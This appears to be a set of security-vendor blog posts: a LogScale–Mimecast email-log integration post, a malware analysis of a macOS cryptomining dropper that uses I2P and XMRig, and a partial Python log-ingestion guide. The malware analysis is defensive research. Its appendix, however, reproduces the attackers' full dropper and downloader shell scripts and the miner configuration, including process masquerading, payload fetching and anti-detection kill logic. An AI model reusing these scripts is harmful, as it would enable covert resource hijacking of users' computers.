At the same time, corporate governance and compliance teams can use this information to understand the specific compliance state (e.g., NIST, PCI, CIS) of the cloud assets and applications that utilize these assets. 

Managing your cloud environment starts with a full understanding of the relationships and connections between your cloud assets. With the integration of Asset Graph and powerful new visualization features, CrowdStrike Cloud Security provides the comprehensive view and insight needed to fully evaluate the health and security of the entire cloud ecosystem and protect your cloud assets.

Additional Resources

• To learn more about the cloud threat landscape, download “Protectors of the Cloud: Combating the Rise in Threats to Cloud Environments.” 
• Learn how you can stop cloud breaches with CrowdStrike unified cloud security for multi-cloud and hybrid environments — all in one lightweight platform.
• Build, run and secure cloud-native applications with speed and confidence using Falcon Cloud Workload Protection.
• Visit the Falcon Cloud Workload Protection Complete product webpage to see if a managed detection and response solution for cloud workloads is right for your organization.

Email is the top initial attack vector, with phishing campaigns responsible for many damaging cyber attacks, including ransomware. Being able to search Mimecast email security logs in CrowdStrike Falcon® LogScale (formerly known as Humio), alongside other log sources such as endpoint, network and authentication data helps cybersecurity teams detect and respond to cyber attacks.

This integration enables joint customers to detect and respond to email attacks more quickly, mitigating the risk of widespread damage. The integration drives more value for customers by enabling correlation across email and other log sources, and delivers more complete investigations that facilitate fast and targeted remediation.

What is the LogScale and Mimecast integration?

The integration enables joint customers to ingest their Mimecast email security logs into LogScale. Once ingested, customers can view summary dashboards to see trends and high-level information, as well as drill down with flexible searches of the Mimecast data. Complex correlation searches across Mimecast data and other log sources can also be created with LogScale’s query language. Customers can create live searches which trigger alerts when potential malicious activity is observed.

How does the integration work?

Mimecast has developed a LogScale connector which is available for free. The connector pulls logs from the Mimecast service and ingests them into LogScale. The connector works with LogScale SaaS or hybrid deployments.

By installing the accompanying package from the marketplace within the LogScale interface, customers get instant access to a comprehensive set of eight multi-panel dashboards correlating to the different log source types from Mimecast.

How customers benefit

With LogScale’s unlimited price plans and modern architecture that compresses data by up to 80x, many customers can afford to log everything and aren’t forced to make compromises that introduce blindspots and risk.

By ingesting Mimecast logs alongside other log sources, customers can obtain complete visibility across the environment. LogScale customers can get more value from their Mimecast service by taking Mimecast detections of suspicious URLs or attachments and searching for them across the rest of their estate.

Full fidelity cyber investigations enable rapid containment and targeted remediation

LogScale customers can afford to retain their data for longer. This is particularly important with email security logs, as cyber investigations often go back months. Being able to work back to the initial email attack allows you to perform complete, full-fidelity investigations and confidently uncover the full extent of the attack.

Without this access to the logs, many investigations are inconclusive, forcing customers to either adopt a broad remediation plan that is expensive and can impact productivity, or go with a narrower remediation plan that risks leaving the attacker with a presence in their systems.

Extend threat hunting to include email security logs

LogScale’s fast search capabilities and comprehensive query language enable threat hunters to quickly execute queries, including complex correlation searches across multiple data sources. Threat hunters can now include Mimecast email security logs in their analysis and get insight from endpoint and network logs, and correlate these with Mimecast email security logs to get the full picture.

Using the integration

There are numerous ways to get value from your Mimecast email security logs through LogScale. Say, for example, a security investigation is triggered from an endpoint detection that has seen suspicious process activity on a user machine. We’ll assume the endpoint tool can tell us the URL from which the malware was downloaded. If this isn’t the case, it may be necessary to search for network data to link the malicious file seen at the endpoint with a download URL.

By searching the Mimecast logs for that URL, customers can discover if that URL was contained as a link in a phishing email.

To search Mimecast for a certain URL, here’s the LogScale query for an example URL of http[:]//t.mitt.dn.se/r/?id=hda9764d9,6476bff9,6476c038

In this query, we’re limiting the search to the relevant log source (“ttp-url-logs“) for miniscule efficiency gains, but you could also just search for the URL and leave out the first line.

#source = "ttp-url-logs" 
| url = "http://t.mitt.dn.se/r/?id=hda9764d9,6476bff9,6476c038"

From the results, we can pick out key fields such as the @timestamp, subject, from UserEmailAddress, userEmailAddress, sendingIP and messageID too.

A next step may be to investigate whether that IP address has sent other emails that may be from different addresses and with different subject lines, but also contain URLs … and to list those URLs in a table with the below query:

sendingIp= 130.117.8.227 
| top(url)

As shown above, there are six other URLs that may be of concern and it’s probably wise to search for any evidence of connectivity to these URLs across other log sources in LogScale, including endpoint and network data.

Now that you have all the relevant emails, go to the Mimecast console and use the messageID field to find the relevant emails in Mimecast and delete them from the user’s inbox and archive.

Next steps

To get started, visit the marketplace from within the LogScale interface, install the Mimecast package and configure the connector per the instructions.

We’re always looking for feedback. If you have ideas and feedback for enhancements to the Mimecast package in the LogScale marketplace, let us know at [email protected]. Learn more about LogScale at https://www.crowdstrike.com/products/observability/falcon-logscale/

 

• CrowdStrike analyzed an I2Pminer variant that targets macOS
• The mineware utilizes I2P to hide XMRig network traffic
• The CrowdStrike Falcon^® platform provides continuous protection against mineware threats by offering real-time visibility across workloads

CrowdStrike recently analyzed a macOS-targeted mineware campaign that utilized malicious application bundles to deliver open source XMRig cryptomining software and Invisible Internet Protocol (I2P) network tooling. 

Research began after identifying suspicious multi-architecture binaries within a public malware repository. Analysis of common samples shows that the techniques in this campaign date back to the summer of 2021. The identified applications shared a common theme: identifying as Apple Logic Pro X, Final Cut Pro, Traktor or various Adobe Creative Suite products. The primary executable is a dropper containing a legitimate version of the application and I2P tooling. Utilizing I2P, the dropper then downloads a custom XMRig miner and orchestrates the mining operations.

Open source reporting¹ also observed similar usage of I2P and XMRig, but the previous threats did not involve the same usage of a legitimate application and scripts to deploy its tooling. 

The CrowdStrike Falcon platform provides continuous protection against cryptomining threats by delivering real-time visibility across workloads to protect customers.

Technical Analysis

This campaign lures the victim into believing that they are installing a legitimate application for successful execution. The malicious dropper contains a legitimate version of the software and executes it to give the illusion of a properly behaving application. It then relies on a number of shell scripts to configure and orchestrate its mining operations. The following analysis was performed on a binary that drops and executes a copy of Apple Logic Pro X (bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7).

Installation

It is likely that these malicious application bundles are distributed via Apple Disk Images (DMGs). The malicious application bundles were observed executing out of the /Applications/ folder. DMGs are a common delivery mechanism for both benign and malicious software. It is typical for DMGs to instruct users to drag and drop application bundles from the mounted disk image to the application folder.

Dropper Binary

At the core of these malicious application bundles is a Mach-O binary acting as a dropper. Binaries were found to be universal Mach-Os, supporting both x86_64 and ARM architectures. The dropper binary is located within the installed application bundle at /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X. Therefore, it executes when the application bundle is launched. The dropper is responsible for orchestrating the installation and execution of the legitimate application, I2P tooling and XMRig miner. Figure 2 outlines the multiple layers of process execution.

Throughout the dropper’s lifecycle, it heavily relies on randomly generated names for folders and files in the /tmp/ directory. The dropper binary generates a number of these file paths through its own random character generator and dynamically produces the script content with these generated values. The scripts also rely heavily on the usage of mktemp to generate variables within the scripts. Both of these methods produce files with the syntax of ._[a-zA-Z]{8} (e.g., ._JdYdPLMq). Files produced within the Mach-O are generated with 10 characters, whereas usage of mktemp within the scripts produces files made of eight characters.

Legitimate Application Dropper Script

In order to appear as a working copy of Logic Pro X, the dropper contains a legitimate copy of the lure application. The dropper starts by generating a script to decode the legitimate Mach-O file. During this process a large Base64-encoded file is written to disk. An example of this script can be found in the Appendix. Its purpose is to create a mirrored application bundle located in the host’s /tmp/ directory. The mirrored bundle contains the legitimate application instead of the dropper binary.

The generated script is executed via a /bin/sh subprocess. The script removes any files that conflict with its randomly generated paths. Then it creates a new folder structured for the bundle located at /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents. It creates symbolic links in the /tmp/ bundle to mirror all directories found in /Applications/Logic Pro X.app/Contents and /Applications/Logic Pro X.app/Contents/MacOS to their respective /tmp/ locations. All files located in /Applications/Logic Pro X.app/Contents folder are copied to their respective /tmp/ location. The Logic Pro X dropper binary is deleted with the /tmp/ bundle. It will be replaced with the legitimate application. In order to unpack the legitimate binary, the previously written Base64 file is decoded and unarchived. The contents are saved to /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents/MacOS/Logic Pro X. The script’s final action is to set the executable bit of this binary.

The dropper then forks itself in order to launch the legitimate application. The forked process makes a call to execl to execute the legitimate Logic Pro X application located in /tmp/. 

The original dropper process continues to execute in order to orchestrate the mining operations. It relies on two additional scripts to configure the I2P network tooling and download the XMRig mining software.

I2P Dropper Script

I2P is an anonymous network layer. All communications over I2P are anonymous and end-to-end encrypted, and users of the network don’t reveal their real IP addresses. The dropper binary unpacks a customized Mach-O compiled from the open source i2pd (I2P Daemon) project. Usage of i2pd enables other processes on the computer to tunnel traffic to the I2P network. I2P is configured and used by the dropper to download the mining tooling but also to proxy the miner’s network communications.

The I2P dropper script is written to disk at /tmp/._[a-zA-Z]{10}. An example of the script can be found in the Appendix. The script is executed as a /bin/sh subprocess.

The script first deletes itself from the disk. This is done to evade detection but also to open up the opportunity to reuse the same randomly generated filename for the actual i2pd binary. The i2pd binary is stored within the script as a large, inline Base64-encoded variable. This value is decoded and the output is written to an additional file (/tmp/._[a-zA-Z]{8}). This file is read and unarchived to the original file path of the I2P dropper script. The script pads the resulting Mach-O with a random number of \x00 bytes. The padded i2pd Mach-O file is executed via a call to

exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0"

Note that $0 will resolve the first argument of the current process. This is the file path of the I2P dropper script, which was replaced with the padded i2pd Mach-O file. The exec call will execute the binary and modify the process name to the  mdworker_shared file path. After the process executes, the I2P dropper script removes the i2pd Mach-O file from the disk.

i2pd

The I2P Daemon binary dropped by the Logic Pro X dropper is tooling built using version 2.41.0 of the open source project. It is a universal binary supporting both x86_64 and ARM architectures. 

Public i2pd binaries rely on config files or command line arguments for necessary configuration of tunnels and upstream connections. The binary used in this threat is custom tooling developed on top of the i2pd code base. In addition to running the I2P network stack, it also contains static configuration elements necessary for the operation of the XMRig miner. This allows it to minimize command line arguments and additional files dropped to disk.

The custom binary is built to configure two tunnels from the local host to the I2P network. These tunnels are responsible for the localhost listeners on ports 4444 and 4445. The listener utilizing port 4444 is called “pool” while the listener utilizing port 4445 is labeled “payload.” These align with their usage by the XMRig downloader and miner. Each tunnel is configured to tunnel traffic to an upstream address within the I2P network. The following chart summarizes the tunnels and their configurations.

Label	Type	Local Address	Local Port	Destination Address
pool	client	127.0.0.1	4444	hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p
payload	client	127.0.0.1	4445	jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p

The host now has a running i2pd process. This will enable it to use the I2P network for the XMRig download, and to handle the miner’s network communications.

XMRig Downloader Script

XMRig is an open source CPU/GPU miner that supports numerous protocols.The dropper generates and executes a script to download, configure and execute a copy of a XMRig miner. An example of the script can be found in the Appendix. The script is executed as a command line argument passed into a /bin/sh -c [scriptcontent] subprocess.

This script is executed by the Mach-O dropper before the I2P Dropper script, but its first step is to sit in a loop and wait for the creation of the /tmp/i2pd directory. This directory is generated during the execution of the I2P Dropper script. After this file is detected, the XMRig downloader starts a second I2P Daemon process and saves the new pid to /tmp/i2pd. The script then removes any files that conflict with its randomly generated paths.

The script then enters a download loop that contains two subloops, one to download the MD5 hash of the XMRig payload, and a second to download the XMRig payload. During the first subloop, curl is used to download a MD5 hash from http://127.0.0[.]1:4445/updtmd. This localhost port is configured to tunnel traffic through i2pd to the destination address listed above. This loop attempts the download every five seconds until it is successful. During this loop, the script implements a check using pgrep for Activity Monitor processes in an attempt to evade user detection. If Activity Monitor is detected then execution is stopped and the script exits. If the MD5 hash is successfully downloaded, its value is saved and execution is passed to the second subloop. This second subloop performs the same actions but instead pulls the XMRig payload from http://127.0.0[.]1:4445/update. If this download is successfully written to disk, it is hashed and the value is compared to the previously downloaded MD5 hash. If the hashes are equal, execution proceeds past the download loop — otherwise, the outer download loop is reevaluated.

The XMRig payload is then extracted from the download via tar, and the resulting Mach-O file is padded with a random number of \x00 bytes. Similar to the ip2d process, it is executed via an exec -a call utilizing a process name of

/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local

Next, the XMRig Download Script sends the XMRig miner a config via the XMRig miner’s native API. In order to accomplish this, curl is used to send a post message to http://127.0.0[.]1:4543/1/config. Port 4543 is the default listening port for XMRig’s API. An example of this config can be found in the Appendix. The script enters a final loop to once again check for the presence of an Activity Monitor process. If Activity Monitor is running, the script kills the I2P Daemon and XMRig miner processes and exits.

XMRig

The XMRig binary dropped by the Logic Pro X dropper is also custom tooling built using version 6.18.1 of the open source project. This is also a universal binary supporting both x86_64 and ARM architectures.

The binary’s source is modified to execute with an altered default configuration. Similar to the I2P Daemon, this is done to minimize command line arguments. The binary does not need a command line miner config. The http API is also enabled by default. This is done so that no configs need to be passed via the command line and that the config can be sent via curl within the XMRig download script.

The config also reveals a few details about the mining operations. The existence of a donate-over-proxy value and the usage of generic user and password values within the XMRig configuration reveal the usage of a mining proxy. The usage of a proxy allows authors to control all of their mining implants and their target pools via a centralized console. This proxy server is located on the I2P network at the destination of the pool tunnel.

The XMRig implant will execute until the user logs off, shuts down their computer or opens Activity Monitor. With the observed configuration, it will utilize the I2P network and the mining proxy to perform CPU mining operations on the host.

Defense Evasion

The dropper binary and its scripts utilize a number of techniques to avoid detection.

The dropper bundle in the applications folder appears legitimate, and this bundle houses all of the Logic Pro X dependencies/frameworks. The authors cleverly utilized these legitimate dependencies via symbolic links when dynamically creating the legitimate bundle in the temp folder.

Even though the scripts produce many on-disk artifacts, the dropper and scripts are quick to remove them as soon as they are executed or used. The i2pd and XMRig binaries are padded with a random number of zero bytes to change its hash and expand its size. They also both use CoreServices framework binaries as the execution name. This is so that it can blend in within process tree/process viewers.

Mining-related CPU spikes can be difficult to notice due to the system resource-intensive applications that were chosen. If these spikes are noticed, the implant is also quick to kill itself and clean up its on-disk artifacts if it determines the user is investigating system resources via Activity Monitor.

Persistence

The dropper does not establish persistence through typical means, instead relying on the lure of its legitimate application for execution. The mining infrastructure is dropped, downloaded and deleted every time the dropper executes. As long as the dropper successfully launches its legitimate application, the user will continue to execute the dropper under the assumption that it is legitimate.

Dropper Variant

A related group of dropper variants was also identified (e.g., 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5). These variants are distributed by a malicious application bundle that contains a setup script, legitimate application and Mach-O dropper. All three files are distributed within the Contents/MacOS directory in the application bundle. The setup script is the app bundle’s primary executable and serves to execute the legitimate binary, copy the Mach-O dropper to /tmp/._[a-zA-Z]{10} and execute the relocated Mach-O. Similar to the techniques and analysis above, the Mach-O dropper installs i2pd and the XMRig miner. The variants utilize the same variable names and directory naming schema, and also date back to Summer 2021.

The CrowdStrike Falcon Platform’s Continuous Monitoring and Visibility

The Falcon platform takes a layered approach to protect workloads. Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and procedures (TTPs) employed by threats and threat actors, the Falcon platform enables visibility, threat detection and continuous monitoring for any environment, reducing the time to detect and mitigate threats.

The industry-leading CrowdStrike Falcon platform sets the new standard in cybersecurity. Watch this demo to see the Falcon platform in action.

The Falcon platform prevents I2Pminer at various steps throughout its execution, detecting and preventing behavior such as the suspicious dropper script (see Figure 3). CrowdStrike’s proactive research targeted the behavior of this malware. It was discovered that some preventions already applied to the variants before it was known to our researchers. To reinforce the layered approach, our teams have since added even more coverage, resulting in several preventions that apply to various stages in the chain.

To maximize protection, CrowdStrike recommends enabling the following prevention policy visibility and configuration toggles.

Toggle	Prevention Policy Category	Description
Script-Based Execution Monitoring	Sensor Visibility	Provides visibility into suspicious scripts, including shell and other scripting languages.
Suspicious Processes	Execution Blocking	Block processes that CrowdStrike analysts classify as suspicious. These are focused on dynamic IOAs, such as malware, exploits and other threats.

See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware. Start your 15-day free trial today.

MITRE ATT&CK Framework

Tactic	Technique	Description
Execution	Command and Scripting Interpreter: Unix Shell (T1059.004)	The dropper utilizes /bin/sh for subprocess execution.
	User Execution (T1204)	The dropper is executed by the user.
Defense Evasion	Deobfuscate/Decode Files or Information (T1140)	Files are dropped/downloaded as Base64-encoded archives.
	Indicator Removal: File Deletion (T1070.004)	Files are deleted after use.
	Masquerading: Match Legitimate Name or Location (T1036.005)	The dropper is installed into a legitimate file path, posing as the legitimate application. i2pd and XMRig also utilize legitimate file paths to mask their execution.
Command and Control	Protocol Tunneling (T1572)	XMRig download and mining communications are tunneled through the I2P network layer.
Impact	Resource Hijacking (T1496)	XMRig utilizes system resources for mining operations.

Indicators of Compromise (IOCs)

Files

File	SHA256
Dropper (Logic Pro X)	bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7
i2pd	a22b48ce098ad4b082c4f4de78c708294e08212ab8dfd818642f7922c8e794c3
XMRig	86019af5850b01c6c6c9c724e0468a891947b2ef5da930405a30342f1e6ae5eb
Dropper (Variant)	27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5

I2P Domains

Domain

hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p

jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p

Appendix

Legitimate Application Script

sh -c SCRIPTPATH=$( cd -- "$(dirname "/Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X")/.." >/dev/null 2>&1 ; pwd -P );BLOB_PATH="/tmp/._KbmflZqwXa";IMG_SP_PATH="/tmp/._bHOospjBUL";[ -f "$IMG_SP_PATH" ] && rm -rf "$IMG_SP_PATH";[ -d "$IMG_SP_PATH" ] && rm -rf "$IMG_SP_PATH";TMPDIR="$IMG_SP_PATH/Logic Pro X.app/Contents";mkdir -p "$TMPDIR";( find "$SCRIPTPATH" -type d -mindepth 1 -maxdepth 1 -exec ln -s ../ {} "$TMPDIR" \;) > /dev/null 2>&1;rm -rf "$TMPDIR/MacOS";mkdir "$TMPDIR/MacOS";(find "$SCRIPTPATH" -type f -maxdepth 1 -exec cp {} "$TMPDIR" \;) > /dev/null 2>&1;(find "$SCRIPTPATH/MacOS" -type f -mindepth 1 -maxdepth 1 -exec ln -s ../ {} "$TMPDIR/MacOS" \;) > /dev/null 2>&1;APP_MACH="$TMPDIR/MacOS/Logic Pro X";rm -rf "$APP_MACH";CT=$(mktemp /tmp/._XXXXXXXX);cat "$BLOB_PATH" | base64 -o "$CT" -d;tar -xf "$CT" -O >"$APP_MACH";rm -rf "$CT";rm -rf "$BLOB_PATH";chmod +x "$APP_MACH";

I2P Dropper Script

#!/bin/bash
rm -rf "$0";I2PCTMPFILE=$(mktemp /tmp/._XXXXXXXX);I2PBASE64BLOB="[base64 blob]";echo $I2PBASE64BLOB | base64 -o "$I2PCTMPFILE" -d;tar -xf "$I2PCTMPFILE" -O > "$0";head -c $(($RANDOM*$((1 + RANDOM % 1000)))) /dev/zero >> "$0";rm -rf "$I2PCTMPFILE";chmod +x "$0";(( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0" ) & echo $! > "/tmp/i2pd/._pid");sleep 3 && rm -rf "$0";exit

XMRig Downloader Script

sh -c /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/mdworker-bundle -s mdworker-bundle -c MDSImporterBundleFinder -m com.apple.metadata.mdbulkimport > /dev/null 2>&1;appId="[uniqueid]";r_nme="BGlyVRaZgH";r_i2="QSRqPzSHBd";tmr="\u000c";rnd_sz="2521286";PLD="update";MD5="updtmd";[ ! -d "/tmp/i2pd" ] && mkdir "/tmp/i2pd"; (( while true; do sleep 1; [ -f "/tmp/i2pd/._pid" ] && break;done; PID=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; chmod +x "/tmp/._${r_i2}"; ("/tmp/._${r_i2}" &); while true; do sleep 2; [ -f "/tmp/i2pd/._pid" ] && break;done; I2PD_PID=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; tmpwd="/tmp"; d_p="$tmpwd/._${r_nme}"; d_md5="$tmpwd/._${r_nme}_md5"; [ -d "$d_p" ] && rm -rf "$d_p"; [ -d "$d_md5" ] && rm -rf "$d_md5"; [ -f "$d_p" ] && rm -rf "$d_p"; [ -f "$d_md5" ] && rm -rf "$d_md5"; complete="false"; finished="false"; while [ "$complete" != "true" ]; do while [ "$finished" != "true" ]; do curl --silent -o "$d_md5" "http://127.0.0.1:4445/$MD5"; [ -f "$d_md5" ] && finished="true" && md2=$(cat "$d_md5") && rm -rf "$d_md5"; sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1;[ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1;pkill "._${r_i2}";exit); done; finished="false"; while [ "$finished" != "true" ]; do curl --silent -o "$d_p" "http://127.0.0.1:4445/$PLD"; [ -f "$d_p" ] && finished="true" && md1=$(md5 -q "$d_p"); sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ -f "$d_p" ] && rm -rf "$d_p";[ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1;[ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1;pkill "._${r_i2}";exit); done; [[ "$md1" == "$md2" ]] && complete="true"; done; TMPFILE=$(mktemp /tmp/._XXXXXXXX); tar -xf "$d_p" -O > "$TMPFILE"; rm -rf "$d_p"; mv "$TMPFILE" "$d_p"; head -c $rnd_sz /dev/zero >> "$d_p"; chmod +x "$d_p"; (( exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local" "$d_p" ) & echo $! > "/tmp/i2pd/._pid"); PIDW=$(cat "/tmp/i2pd/._pid") && rm -rf "/tmp/i2pd/._pid"; sleep 9; XARCH=$(uname -m); [[ "$XARCH" == "x86_64" ]] && HP=true || HP=false; echo '{ "api": { "id": null, "worker-id": null }, "http": { "enabled": true, "host": "127.0.0.1", "port": 4543, "access-token": 2, "restricted": false }, "autosave": true, "background": false, "colors": true, "title": true, "randomx": { "init": -1, "init-avx2": -1, "mode": "auto", "1gb-pages": false, "rdmsr": true, "wrmsr": true, "cache_qos": false, "numa": true, "scratchpad_prefetch_mode": 1 }, "cpu": { "enabled": true, "huge-pages": '$HP', "huge-pages-jit": false, "hw-aes": null, "priority": null, "memory-pool": false, "yield": true, "max-threads-hint": 25, "asm": false, "argon2-impl": null, "astrobwt-max-size": 550, "astrobwt-avx2": false, "cn/0": false, "cn-lite/0": false }, "opencl": { "enabled": false, "cache": true, "loader": null, "platform": "AMD", "adl": true, "cn/0": false, "cn-lite/0": false }, "cuda": { "enabled": false, "loader": null, "nvml": true, "cn/0": false, "cn-lite/0": false }, "donate-level": 0, "donate-over-proxy": 1, "log-file": null, "pools": [ { "algo": null, "coin": null, "url": "127.0.0.1:4444", "user": "x", "pass": "x", "rig-id": "'${XARCH:0:1}${appId:0:7}'", "nicehash": true, "keepalive": false, "enabled": true, "tls": false, "tls-fingerprint": null, "daemon": false, "socks5": null, "self-select": null, "submit-to-origin": false } ], "print-time": 60, "health-print-time": 60, "dmi": true, "retries": 5, "retry-pause": 5, "syslog": false, "tls": { "enabled": false, "protocols": null, "cert": null, "cert_key": null, "ciphers": null, "ciphersuites": null, "dhparam": null }, "user-agent": null, "verbose": 0, "watch": true, "pause-on-battery": false, "pause-on-active": false }'|curl --silent --data-binary @- -H "Expect: 2400" -H "Content-Type: application/json" -H "Authorization: Bearer 2" http://127.0.0.1:4543/1/config > /dev/null; [ -f "$d_p" ] && rm -rf "$d_p"; (APID=$$;(while true; do sleep 3;(pgrep -x 'Activity Monitor' > /dev/null) && break;done;); [ "$I2PD_PID" != "" ] && kill -9 "$I2PD_PID" > /dev/null 2>&1; [ "$PIDW" != "" ] && kill "$PIDW" > /dev/null 2>&1; [ "$PID" != "" ] && kill "$PID" > /dev/null 2>&1; pkill "._${r_nme}"; pkill "._${r_i2}"; kill "$APID" > /dev/null 2>&1;); exit) & echo $! > "/tmp/i2pd/._pid");

XMRig Config

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "127.0.0.1",
        "port": 4543,
        "access-token": 2,
        "restricted": false
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": "$HP",
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 25,
        "asm": false,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "127.0.0.1:4444",
            "user": "x",
            "pass": "x",
            "rig-id": "'${XARCH:0:1}${appId:0:7}'",
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}

Endnote

1. https://www.trendmicro.com/en_us/research/22/b/latest-mac-coinminer-utilizes-open-source-binaries-and-the-i2p-network.html

Additional Resources

• Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.
• Get a full-featured free trial of CrowdStrike Falcon Prevent and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

 

This post covers how to ingest data into CrowdStrike Falcon® LogScale from your MacOS platform using Python. This guide is great for setting up a one-node proof of concept (POC) so you can take advantage of LogScale’s free trial.

Before you can write your ingest client, you must prepare a good foundation. That means preparing your MacOS instance via the following steps:

• Download Homebrew 
• Update your default MacOS Python
• Install Python Package Manager
• Download LogScale’s libraries

Ready? Let’s get started.

Prepare your MacOS instance

One of the methods of ingestion is to use LogScale’s software libraries that are available in a variety of languages. Today we’ll be working with Python and MacOS.

Step 1: Install Homebrew, a package manager for MacOS. Installing new packages with Homebrew is a simple command line in Terminal, similar to installing new packages in Linux. Follow the instructions on the Homebrew site.

Step 2:  Use Homebrew and update your default MacOS Python. As you may know, MacOS 10.15 (Catalina) is currently running on Python 2.7, even though newer releases are available. It’s essential to MacOS that the default Python remains at 2.7. We’ll need to update your Python to the latest version while retaining version 2.7 for essential MacOS functions.

Follow these instructions from Matthew Broberg: The right and wrong way to set Python 3 as default on your Mac.

Update for Ventura: For the latest version of MacOS 13.2.1 (Ventura) Python 3.9.x is available, but it isn’t installed by default. You will need to install XCode to install Python using the terminal with the following command:

xcode-select –install

You can find more information here: Python3 now included with Ventura

Step 3: Once we have the appropriate version of Python running in your MacOS, we’ll need to install Python Package Manager, pip, so that we can install LogScale’s Client Library. Usually pip comes packaged with Python and there’s no additional step to install.

To see if pip is installed, run the following command in your Terminal:

python -m pip --version

If pip is installed, you’ll see the following output:

Alternatively, you can manually install pip by opening Terminal and run the following command:

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

Then run python -m pip --version again to verify pip is installed and you have the latest version.

Step 4: Install LogScale’s Python software library. The humiolib library is a wrapper for LogScale’s web API, supporting easy interaction with LogScale directly from Python. You can find more information in our humiolib github.

You can start the install by running the following this pip command in your Terminal:

pip install humiolib

This command will give you a series of outputs that tells you the files being installed. Once installation is complete, you’ve finished the prep work for your MacOS instance. Now we can move on to the fun stuff.

Build your ingest client

It’s time to start writing to an ingest client. Take a look at this example program:

Let’s break down some of the pieces of the code.

At a minimum, you’ll need to add humiolib to be able to run the codes required to send logs to LogScale.

from humiolib.HumioClient import HumioIngestClient

You’ll also need to create an ingest client with attributes that tells the client where to ship this log.

client = HumioIngestClient(
  base_url= "The url where LogScale resides",
  ingest_token="An API token from LogScale"
)

API Token can be retrieved from your LogScale instance.

Structured log messages

There are two types of messages you can send to LogScale: structured and unstructured.

In most of our use cases, LogScale receives structured data as a JSON object. There’s no strict format as to how the JSON object is structured, but you do need to ensure the JSON object is valid. You can check the structure of a JSON object using a tool like JSONLint.

Additionally, with structured data, you can send valid timestamps as part of the log entry, and LogScale will use the timestamp provided instead of inserting one of its own. Therefore, please ensure that the timestamp for the log entry is less than 24 hours from the time it is sent. Otherwise LogScale will assume it’s older data and drop the log entry without an error message.

Below is an example of structured data:

structured_data = [
 {
 		"tags": {
 			"host": "str(ip)",
 			"host_name": "str(host)",
            "filename": "str(caller.filename)",
 			"line": "str(caller.lineno)",
 			"error_level": "INFO"
 		},
 		"events": [
 			{
 				"timestamp": str(datetime.now(timezone("EST")).isoformat()), #.strftime("%Y-%m-%d %H:%M:%S %Z"),
 				"attributes": {
 					"message": "Structured message",
 				}
 			}
 		]
 	}
 ]

Once the structured data is validated, you can send it to LogScale using the following function where the variable structured_data is the object you created above to store your JSON:

client.ingest_json_data(structured_data)

Support for unstructured data

